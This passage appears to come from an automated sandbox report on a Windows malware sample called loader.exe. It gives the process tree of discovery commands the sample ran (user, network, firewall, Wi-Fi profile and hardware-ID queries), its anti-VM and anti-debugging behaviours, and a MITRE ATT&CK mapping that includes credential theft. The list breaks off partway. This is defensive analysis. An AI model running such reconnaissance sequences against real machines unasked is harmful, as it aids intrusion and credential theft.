    - - C:\Windows\system32\net.exe
        
        net user guest
        5⤵
        
        PID:1516
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        6⤵
        
        PID:4556
    - - C:\Windows\system32\net.exe
        
        net user administrator
        5⤵
        
        PID:4448
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        6⤵
        
        PID:4172
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        5⤵
        
        PID:4400
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        5⤵
        Enumerates processes with tasklist
        
        PID:1404
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        5⤵
        Gathers network information
        
        PID:1964
    - - C:\Windows\system32\ROUTE.EXE
        
        route print
        5⤵
        
        PID:1176
    - - C:\Windows\system32\ARP.EXE
        
        arp -a
        5⤵
        Network Service Discovery
        
        PID:3996
    - - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        5⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:732
    - - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        5⤵
        Launches sc.exe
        
        PID:400
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4740
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3348
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:3660
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:1808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:4612
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:3964
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\system32\certutil.exe
      certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\loader.exe" MD5
      4⤵
      PID:3660
  - - C:\Windows\system32\find.exe
      find /i /v "md5"
      4⤵
      PID:732
  - - C:\Windows\system32\find.exe
      find /i /v "certutil"
      4⤵
      PID:3236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

System Information Discovery